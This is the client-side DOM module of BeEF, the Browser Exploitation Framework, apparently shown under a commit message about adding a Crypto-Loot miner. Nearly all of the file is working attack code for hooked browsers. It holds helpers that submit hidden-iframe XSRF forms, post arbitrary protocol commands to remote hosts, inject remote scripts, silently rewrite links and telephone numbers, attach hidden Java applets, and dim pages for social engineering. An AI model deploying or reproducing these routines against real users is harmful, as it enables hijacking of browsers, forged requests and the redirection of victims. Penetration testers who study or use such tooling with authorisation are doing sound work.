Files
beef/core/main/client/dom.js
Zaur cfa652d532 Crypto-Loot miner intergration
This integration provides in the misc modules a
crypto-loot miner. It is similar  to coinhive miner
and is inspired by it.

It is designed to be used for test purposes only.
Please, do not use it on people who haven't
given their consent. I.e. no cryptojacking.

In no way the author of this integration are
responsible for the use of it. We also
have no relation to crypto-loot.
2017-11-16 20:07:38 +01:00

505 lines
19 KiB
JavaScript

//
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.dom
*
* Provides functionality to manipulate the DOM.
*/
beef.dom = {
/**
* Generates a random ID for HTML elements
* @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
* @return: generated id
*/
generateID: function(prefix) {
return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
},
/**
* Creates a new element but does not append it to the DOM.
* @param: {String} the name of the element.
* @param: {Literal Object} the attributes of that element.
* @return: the created element.
*/
createElement: function(type, attributes) {
var el = document.createElement(type);
for(index in attributes) {
if(typeof attributes[index] == 'string') {
el.setAttribute(index, attributes[index]);
}
}
return el;
},
/**
* Removes element from the DOM.
* @param: {String or DOM Object} the target element to be removed.
*/
removeElement: function(el) {
if (!beef.dom.isDOMElement(el))
{
el = document.getElementById(el);
}
try {
el.parentNode.removeChild(el);
} catch (e) { }
},
/**
* Tests if the object is a DOM element.
* @param: {Object} the DOM element.
* @return: true if the object is a DOM element.
*/
isDOMElement: function(obj) {
return (obj.nodeType) ? true : false;
},
/**
* Creates an invisible iframe on the hook browser's page.
* @return: the iframe.
*/
createInvisibleIframe: function() {
var iframe = this.createElement('iframe', {
width: '1px',
height: '1px',
style: 'visibility:hidden;'
});
document.body.appendChild(iframe);
return iframe;
},
/**
* Returns the highest current z-index
* @param: {Boolean} whether to return an associative array with the height AND the ID of the element
* @return: {Integer} Highest z-index in the DOM
* OR
* @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
*/
getHighestZindex: function(include_id) {
var highest = {'height':0, 'elem':''};
$j('*').each(function() {
var current_high = parseInt($j(this).css("zIndex"),10);
if (current_high > highest.height) {
highest.height = current_high;
highest.elem = $j(this).attr('id');
}
});
if (include_id) {
return highest;
} else {
return highest.height;
}
},
/**
* Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
* is assigned to created iframe tag's src attribute resulting in GET request to that URI.
* example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
* @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
* @param: {Hash} params: list of params that will be sent in request.
* @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
* @param: {Function} a callback function to fire once the iFrame has loaded
* @return: {Object} the inserted iFrame
*
*/
createIframe: function(type, params, styles, onload) {
var css = {};
if (type == 'hidden') {
css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
} else if (type == 'fullscreen') {
css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
$j('body').css({'padding':'0px', 'margin':'0px'});
} else {
css = styles;
$j('body').css({'padding':'0px', 'margin':'0px'});
}
var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
return iframe;
},
/**
* Load the link (href value) in an overlay foreground iFrame.
* The BeEF hook continues to run in background.
* NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
* Framebusting techniques, this will not work.
*/
persistentIframe: function(){
$j('a').click(function(e) {
if ($j(this).attr('href') != '')
{
e.preventDefault();
beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
$j(document).attr('title', $j(this).html());
document.body.scroll = "no";
document.documentElement.style.overflow = 'hidden';
}
});
},
/**
* Load a full screen div that is black, or, transparent
* @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
* @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
* opacity:0-100 // Lower number = less grayout higher = more of a blackout
* // By default this is 70
* zindex: # // HTML elements with a higher zindex appear on top of the gray out
* // By default this will use beef.dom.getHighestZindex to always go to the top
* bgcolor: (#xxxxxx) // Standard RGB Hex color code
* // By default this is #000000
*/
grayOut: function(vis, options) {
// in any order. Pass only the properties you need to set.
var options = options || {};
var zindex = options.zindex || beef.dom.getHighestZindex()+1;
var opacity = options.opacity || 70;
var opaque = (opacity / 100);
var bgcolor = options.bgcolor || '#000000';
var dark=document.getElementById('darkenScreenObject');
if (!dark) {
// The dark layer doesn't exist, it's never been created. So we'll
// create it here and apply some basic styles.
// If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
var tbody = document.getElementsByTagName("body")[0];
var tnode = document.createElement('div'); // Create the layer.
tnode.style.position='absolute'; // Position absolutely
tnode.style.top='0px'; // In the top
tnode.style.left='0px'; // Left corner of the page
tnode.style.overflow='hidden'; // Try to avoid making scroll bars
tnode.style.display='none'; // Start out Hidden
tnode.id='darkenScreenObject'; // Name it so we can find it later
tbody.appendChild(tnode); // Add it to the web page
dark=document.getElementById('darkenScreenObject'); // Get the object.
}
if (vis) {
// Calculate the page width and height
if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
var pageWidth = document.body.scrollWidth+'px';
var pageHeight = document.body.scrollHeight+'px';
} else if( document.body.offsetWidth ) {
var pageWidth = document.body.offsetWidth+'px';
var pageHeight = document.body.offsetHeight+'px';
} else {
var pageWidth='100%';
var pageHeight='100%';
}
//set the shader to cover the entire page and make it visible.
dark.style.opacity=opaque;
dark.style.MozOpacity=opaque;
dark.style.filter='alpha(opacity='+opacity+')';
dark.style.zIndex=zindex;
dark.style.backgroundColor=bgcolor;
dark.style.width= pageWidth;
dark.style.height= pageHeight;
dark.style.display='block';
} else {
dark.style.display='none';
}
},
/**
* Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
* or, re-writing a document this is useful.
*/
removeStylesheets: function() {
$j('link[rel=stylesheet]').remove();
$j('style').remove();
},
/**
* Create a form element with the specified parameters, appending it to the DOM if append == true
* @param: {Hash} params: params to be applied to the form element
* @param: {Boolean} append: automatically append the form to the body
* @return: {Object} a form object
*/
createForm: function(params, append) {
var form = $j('<form></form>').attr(params);
if (append)
$j('body').append(form);
return form;
},
loadScript: function(url) {
var s = document.createElement('script');
s.type = 'text/javascript';
s.src = url;
$j('body').append(s);
},
/**
* Get the location of the current page.
* @return: the location.
*/
getLocation: function() {
return document.location.href;
},
/**
* Get links of the current page.
* @return: array of URLs.
*/
getLinks: function() {
var linksarray = [];
var links = document.links;
for(var i = 0; i<links.length; i++) {
linksarray = linksarray.concat(links[i].href)
};
return linksarray
},
/**
* Rewrites all links matched by selector to url, also rebinds the click method to simply return true
* @param: {String} url: the url to be rewritten
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
*/
rewriteLinks: function(url, selector) {
var sel = (selector == null) ? 'a' : selector;
return $j(sel).each(function() {
if ($j(this).attr('href') != null)
{
$j(this).attr('href', url).click(function() { return true; });
}
}).length;
},
/**
* Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
* http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
* @param: {String} url: the url to be rewritten
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
*/
rewriteLinksClickEvents: function(url, selector) {
var sel = (selector == null) ? 'a' : selector;
return $j(sel).each(function() {
if ($j(this).attr('href') != null)
{
$j(this).click(function() {this.href=url});
}
}).length;
},
/**
* Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
* @param: {String} old_protocol: the old link protocol to be rewritten
* @param: {String} new_protocol: the new link protocol to be written
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
*/
rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
var count = 0;
var re = new RegExp(old_protocol+"://", "gi");
var sel = (selector == null) ? 'a' : selector;
$j(sel).each(function() {
if ($j(this).attr('href') != null) {
var url = $j(this).attr('href');
if (url.match(re)) {
$j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
count++;
}
}
});
return count;
},
/**
* Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
* @param: {String} new_number: the new link telephone number to be written
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
* @return: {Number} the amount of links found in the DOM and rewritten.
*/
rewriteTelLinks: function(new_number, selector) {
var count = 0;
var re = new RegExp("tel:/?/?.*", "gi");
var sel = (selector == null) ? 'a' : selector;
$j(sel).each(function() {
if ($j(this).attr('href') != null) {
var url = $j(this).attr('href');
if (url.match(re)) {
$j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
count++;
}
}
});
return count;
},
/**
* Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
* @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
* @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
*/
parseAppletParams: function(params){
var result = '';
for (i in params){
var param = params[i];
for(key in param){
result += "<param name='" + key + "' value='" + param[key] + "' />";
}
}
return result;
},
/**
* Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
* example usage in the code, using a JAR archive (recommended and faster):
* beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
* example usage in the code, using codebase:
* beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
* @params: {String} id: reference identifier to the applet.
* @params: {String} code: name of the class to be loaded. For example, beef.class.
* @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
* @params: {String} archive: the jar that contains the code.
* @params: {String} params: an array of additional params that the applet except.
*/
attachApplet: function(id, name, code, codebase, archive, params) {
var content = null;
if (beef.browser.isIE()) {
content = "" + // the classid means 'use the latest JRE available to launch the applet'
"<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
"height='0' width='0' name='" + name + "'> " +
"<param name='code' value='" + code + "' />";
if (codebase != null) {
content += "<param name='codebase' value='" + codebase + "' />"
}
if (archive != null){
content += "<param name='archive' value='" + archive + "' />";
}
if (params != null) {
content += beef.dom.parseAppletParams(params);
}
content += "</object>";
}
if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
if (codebase != null) {
content = "" +
"<applet id='" + id + "' code='" + code + "' " +
"codebase='" + codebase + "' " +
"height='0' width='0' name='" + name + "'>";
} else {
content = "" +
"<applet id='" + id + "' code='" + code + "' " +
"archive='" + archive + "' " +
"height='0' width='0' name='" + name + "'>";
}
if (params != null) {
content += beef.dom.parseAppletParams(params);
}
content += "</applet>";
}
// For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
// if (beef.browser.isFF()) {
// if (codebase != null) {
// content = "" +
// "<embed id='" + id + "' code='" + code + "' " +
// "type='application/x-java-applet' codebase='" + codebase + "' " +
// "height='0' width='0' name='" + name + "'>";
// } else {
// content = "" +
// "<embed id='" + id + "' code='" + code + "' " +
// "type='application/x-java-applet' archive='" + archive + "' " +
// "height='0' width='0' name='" + name + "'>";
// }
//
// if (params != null) {
// content += beef.dom.parseAppletParams(params);
// }
// content += "</embed>";
// }
$j('body').append(content);
},
/**
* Given an id, remove the applet from the DOM.
* @params: {String} id: reference identifier to the applet.
*/
detachApplet: function(id) {
$j('#' + id + '').detach();
},
/**
* Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
* @params: {String} action: the form action attribute, where the request will be sent.
* @params: {String} method: HTTP method, usually POST.
* @params: {String} enctype: form encoding type
* @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
* example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
*/
createIframeXsrfForm: function(action, method, enctype, inputs){
var iframeXsrf = beef.dom.createInvisibleIframe();
var formXsrf = document.createElement('form');
formXsrf.setAttribute('action', action);
formXsrf.setAttribute('method', method);
formXsrf.setAttribute('enctype', enctype);
var input = null;
for (i in inputs){
var attributes = inputs[i];
input = document.createElement('input');
for(key in attributes){
if (key == 'name' && attributes[key] == 'submit') {
// workaround for https://github.com/beefproject/beef/issues/1117
beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
input.setAttribute('Submit', attributes[key]);
} else {
input.setAttribute(key, attributes[key]);
}
}
formXsrf.appendChild(input);
}
iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
formXsrf.submit();
return iframeXsrf;
},
/**
* Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
* @params: {String} rhost: remote host ip/domain
* @params: {String} rport: remote port
* @params: {String} commands: protocol commands to be executed by the remote host:port service
*/
createIframeIpecForm: function(rhost, rport, path, commands){
var iframeIpec = beef.dom.createInvisibleIframe();
var formIpec = document.createElement('form');
formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
formIpec.setAttribute('method', 'POST');
formIpec.setAttribute('enctype', 'multipart/form-data');
input = document.createElement('textarea');
input.setAttribute('name', Math.random().toString(36).substring(5));
input.value = commands;
formIpec.appendChild(input);
iframeIpec.contentWindow.document.body.appendChild(formIpec);
formIpec.submit();
return iframeIpec;
}
};
beef.regCmp('beef.dom');